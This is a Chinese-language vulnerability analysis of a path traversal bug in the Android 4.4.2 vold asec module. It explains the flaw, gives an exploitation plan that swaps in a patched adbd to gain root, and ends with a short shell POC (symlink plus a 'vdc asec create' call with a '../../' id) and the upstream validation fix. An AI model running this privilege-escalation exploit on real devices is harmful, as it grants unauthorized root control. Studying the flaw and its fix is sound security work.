0x1 漏洞描述
這個漏洞沒有被CVE庫收錄,而是被默默修補掉了.通過檢視AOSP changelog(4.4.2 – 4.4.3)當中的内容可以得知這是一個vold程序中asec子產品由于沒有校驗使用者傳遞路徑而導緻的問題.它可以讓vold為我們mount任意目錄,如果該目錄原本存在,将被新的目錄覆寫掉.由于vold程序是以root權限運作的,它的功能和潛在的安全漏洞都成為令人關注的目标.
0x2 原理分析
Vold守護程序是Android系統上用于管理和控制外部儲存設備的背景程序.比如插入SD卡時,vold會處理這一事件,先将SD卡挂載到相應的路徑(/mnt/sdcard),當SD卡被使用者取出後,vold就會解除安裝目标卷.
/*
問題代碼摘自AOSP4.4.2/system/vold/VolumeManager.cpp當中的createAsec函數
http://androidxref.com/4.4.2_r2/xref/system/vold/VolumeManager.cpp
*/
如代碼所示,使用了snprintf函數,其中沒有對使用者所傳遞的id進行任何校驗.也就是意味着如果路徑以”../../PATH”這樣的方式傳遞,将可以周遊任意路徑.比如如果id的值為../../data/local/tmp/xxxx,那麼在/data/local/tmp/目錄下會建立xxxx.asec檔案.
這段代碼的意思就是如果挂載點已經存在,并且沒有錯誤抛出,vold就會正确挂載該路徑.但是如果挂載點已經存在并且是一個指向另一目錄的符号連結呢?它将會被新的目錄所覆寫.是以說vold可以為我們重複挂載任何一個目錄.那麼也就是意味着我們可以完全控制自己指定的目錄,并且向目錄寫入檔案來覆寫系統目錄.
0x3 如何利用
大緻思路是把/sbin目錄重新mount,替換掉/sbin/adbd檔案,并且當系統程序adbd重新被init程序啟動的時候,我們就可以控制adbd程序以root權限執行任意代碼,之後以root權限放一個帶s位的su到系統目錄下,這樣就完成了利用.這裡需要注意的是需要以個特殊的adbd檔案,因為預設的adbd啟動之後會自己降級.我們隻要把adb.c當中的should_drop_privileges函數直接傳回0,再重新編譯就可以獲得這個特殊adbd檔案.
具體過程:
1. 建立一個指向/sbin目錄的符号連結/data/local/tmp/xxxx
2. 使用vdc向vold程序傳遞觸發漏洞的消息,vold程序會在/data/app-sec/xxxx路徑下建立一個檔案夾,并且将它mount成/mnt/asec/xxxx.是以我們要傳遞剛才建立的/sbin的符号連結,這樣/sbin目錄就會被重新覆寫成一個空分區.
3. 把adb.c當中的should_drop_privileges函數直接傳回0,再重新編譯.
4. 為/data/local/tmp/adbd建立/sbin/adbd的符号連結
5. 殺死adbd程序,init程序将其重新啟動,/data/local/tmp/adbd以root權限運作.
0x4 POC
ln -s /sbin /data/local/tmp/test1
vdc asec create ../../data/local/tmp/test1 4 ext4 none 2000 false
ln -s /data/local/tmp/adbd /sbin/adbd
chmod 755 /data/local/tmp/adbd
echo 'kill adbd by yourself,then you get a root shell'
0x5 漏洞修複
bool VolumeManager::isLegalAsecId(const char *id) const
{
size_t i;
size_t len = strlen(id);
if (len == 0) {
return false;
}
if ((id[0] == '.') || (id[len - 1] == '.')) {
return false;
}
for (i = 0; i < len; i++) {
if (id[i] == '.') {
// i=0 is guaranteed never to have a dot. See above.
if (id[i-1] == '.') return false;
continue;
}
if (id[i] == '_' || id[i] == '-') continue;
if (id[i] >= 'a' && id[i] <= 'z') continue;
if (id[i] >= 'A' && id[i] <= 'Z') continue;
if (id[i] >= '0' && id[i] <= '9') continue;
return false;
}
return true;
}